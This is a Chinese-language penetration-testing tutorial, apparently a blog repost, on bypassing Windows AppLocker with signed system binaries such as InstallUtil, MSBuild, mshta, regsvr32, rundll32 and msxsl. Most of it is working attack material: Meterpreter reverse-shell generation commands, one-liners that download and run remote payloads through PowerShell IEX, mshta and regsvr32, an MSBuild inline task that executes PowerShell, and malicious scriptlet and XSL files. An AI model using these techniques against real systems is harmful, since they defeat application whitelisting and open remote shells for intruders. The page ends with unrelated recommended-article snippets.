AppLocker绕过之路

Stella981
• 阅读 630

前言

在提权中我们经常会遇到目标开启了Applocker的情况,本文将以https://github.com/api0cradle/UltimateAppLockerByPassList为参考,讲解Applocker的绕过技术。

这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。

(若无特殊说明,实验环境一律为windows server 2012 r2)

什么是applocker

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。

AppLocker绕过之路

applocker规则

默认的Applocker规则支持以下几种:

AppLocker绕过之路

.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:\Windows\System32\AppLocker生产相应的.applocker文件。

applocker规则条件

规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。

  • 发布者:基于应用的数字签名标识它
  • 路径:通过应用在计算机文件系统中或网络上的位置来标识它
  • 文件哈希:表示已标识文件的系统计算的加密哈希

AppLocker绕过之路

AppLocker 默认规则

在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:

AppLocker绕过之路

每个规则所对应的默认规则如下:

可执行的默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有应用。
  • 允许 Everyone 组的成员运行 Windows 文件夹中的应用。
  • 允许 Everyone 组的成员运行 Program Files 文件夹中的应用。

脚本默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有脚本。
  • 允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。
  • 允许 Everyone 组的成员运行 Windows 文件夹中的脚本。

Windows Installer 默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有 Windows Installer 文件。
  • 允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。
  • 允许 Everyone 组的成员运行 Windows\Installer 文件夹中的所有 Windows Installer 文件。

DLL 默认规则类型:

  • 允许本地 Administrators 组的成员运行所有 DLL。
  • 允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。
  • 允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。

封装应用默认规则类型:

  • 允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序

AppLocker 规则行为

可将规则配置为使用允许或拒绝操作:

  • 允许。你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。
  • 拒绝。你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。

AppLocker绕过之路

创建一个applocker规则

讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:

AppLocker绕过之路

运行exe测试:

AppLocker绕过之路

系统就会阻止我们运行

bypass Applocker

Installutil.exe

InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。

首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板

python InstallUtil.py --cs_file pentestlab.cs--exe_file /root/Desktop/pentestlab.exe --payloadwindows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

AppLocker绕过之路

上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。

将生成后的文件放到目标中使用下面的方法执行:

 C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。

然后用csc编译我们的脚本:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /out:exeshell.exe exeshell.cs

AppLocker绕过之路

此时我们执行我们的文件试试:

AppLocker绕过之路

被规则拦截,那么我们使用

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

绕过

AppLocker绕过之路

msf成功上线

AppLocker绕过之路

在msf中也有使用InstallUtil.exe进行applocker的bypass模块。

exploit/windows/local/applocker_bypass

原理是一样的

AppLocker绕过之路

附带常见的路径:

Msbuild.exe

MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild)

我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.

我们这里直接使用GreatSCT生成一个xml文件。

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

AppLocker绕过之路

并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf

然后使用msbuild执行,

AppLocker绕过之路

msf上线:

AppLocker绕过之路

当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes shellcode.xml

注意将后缀名改为.csproj

除了反弹shell以外我们还可以用它来绕过powershell的限制。

AppLocker绕过之路

代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  <!-- This inline task executes c# code. -->  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->   <!-- Author: Casey Smith, Twitter: @subTee -->  <!-- License: BSD 3-Clause -->  <Target Name="Hello">   <FragmentExample />   <ClassExample />  </Target>  <UsingTask    TaskName="FragmentExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >    <ParameterGroup/>    <Task>      <Using Namespace="System" />      <Using Namespace="System.IO" />                                </Task>    </UsingTask>    <UsingTask    TaskName="ClassExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >    <Task>      <Reference Include="System.Management.Automation" />                  ");                            string x = Console.ReadLine();                            try                            {                                Console.WriteLine(RunPSCommand(x));                            }                            catch (Exception e)                            {                                Console.WriteLine(e.Message);                            }                        }                                    return true;                    }                    //Based on Jared Atkinson's And Justin Warner's Work                    public static string RunPSCommand(string cmd)                    {                        //Init stuff                        Runspace runspace = RunspaceFactory.CreateRunspace();                        runspace.Open();                        RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);                        Pipeline pipeline = runspace.CreatePipeline();                        //Add commands                        pipeline.Commands.AddScript(cmd);                        //Prep PS for string output and invoke                        pipeline.Commands.Add("Out-String");                        Collection results = pipeline.Invoke();                        runspace.Close();                        //Convert records to strings                        StringBuilder stringBuilder = new StringBuilder();                        foreach (PSObject obj in results)                        {                            stringBuilder.Append(obj);                        }                        return stringBuilder.ToString().Trim();                     }                     public static void RunPSFile(string script)                    {                        PowerShell ps = PowerShell.Create();                        ps.AddScript(script).Invoke();                    }                }            ]]>              </Task>  </UsingTask></Project>

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes PowerShellCommands.xml

AppLocker绕过之路

成功绕过对powershell的限制。

常见路径如下:

Mshta.exe

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。

使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:

use exploit/windows/misc/hta_servermsf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109msf exploit(windows/misc/hta_server) > exploit

AppLocker绕过之路

目标机执行:

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

即可上线。

除了这种方法hta还可以使用cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();

除了以上的方式,mshta可以用用来执行powershell:

<HTML> <HEAD> <script language="VBScript">    Set objShell = CreateObject("Wscript.Shell")    objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"</script></HEAD> <BODY> </BODY> </HTML>

即使applocker已经禁止powershell执行了

AppLocker绕过之路

InfDefaultInstall.exe

InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:

  • C:\Windows\System32\Infdefaultinstall.exe
  • C:\Windows\SysWOW64\Infdefaultinstall.exe

我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。

它的执行流程如下:

AppLocker绕过之路

作者给出的poc地址如下:

https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

思路也和图中那样,使用shady.inf去调用远程的sct后门。

不过他的调用需要更高的权限,我在win10下运行的截图:

AppLocker绕过之路

Mavinject.exe

Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。

用法如下:

mavinject32.exe <PID> <PATH DLL>

常见路径如下:

  • C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe
  • C:\Windows\System32\mavinject.exe
  • C:\Windows\SysWOW64\mavinject.exe

但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为:10.0.15063.0 (WinBuild.160101.0800)

应该是可以成功注入的,附上一张推特大佬成功的图。

有兴趣的可以多尝试几个系统。

AppLocker绕过之路

MSIEXEC

MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。

先用msf生成一个msi文件。

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

AppLocker绕过之路

windows下执行:

AppLocker绕过之路

成功绕过。

msxsl.exe

msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

AppLocker绕过之路

我们使用3gstudent来尝试绕过applocker对calc的限制,

customers.xml:

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="script.xsl" ?><customers>   <customer>      <name>John Smith</name>      <address>123 Elm St.</address>      <phone>(123) 456-7890</phone>   </customer>   <customer>      <name>Mary Jones</name>      <address>456 Oak Ave.</address>      <phone>(156) 789-0123</phone>   </customer></customers>

script.xml:

<?xml version='1.0'?><xsl:stylesheet version="1.0"      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"      xmlns:msxsl="urn:schemas-microsoft-com:xslt"      xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");      return nodelist.nextNode().xml;   }</msxsl:script><xsl:template match="/">   <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

成功绕过:

AppLocker绕过之路

当然也可以执行我们的shellcode,具体参考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Regsvr32.exe

regsvr32是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

文件位置:

  • C:\Windows\System32\regsvr32.exe
  • C:\Windows\SysWOW64\regsvr32.exe

下面为大家演示,绕过applocker上线。

AppLocker绕过之路

AppLocker绕过之路

scT文件内容如下:

<?XML version="1.0"?><scriptlet><registration         progid="Pentest"       classid="{F0001111-0000-0000-0000-0000FEEDACDC}" ><script language="JScript"><![CDATA[   var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe"); ]]></script></registration></scriptlet>

各参数的含义:

  • 静默不显示任何消息// / s
  • 不调用DLL注册服务器// / n
  • 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i
  • 使用取消注册方法// / u

除了本地执行,它还支持远程加载:

regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

sct我们使用GreatSct生成即可。

Rundll32.exe

Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

先生成我们的payload:

AppLocker绕过之路

目标机执行:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

上线:

AppLocker绕过之路

除了远程之外,也可以本地上线:

rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll

也可以用来绕过对某些软件的限制,比如弹个cmd:

AppLocker绕过之路

后记

前人载树、后人乘凉。感谢各位师傅的辛苦付出。看完文章,来做个实验消化一下,《.NET框架0Day漏洞(CVE-2017-8759)》点击链接开始学习吧!

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
4个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
梦
3年前
微信小程序new Date()转换时间异常问题
微信小程序苹果手机页面上显示时间异常,安卓机正常问题image(https://imghelloworld.osscnbeijing.aliyuncs.com/imgs/b691e1230e2f15efbd81fe11ef734d4f.png)错误代码vardate'2021030617:00:00'vardateT
Wesley13 Wesley13
3年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
10个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这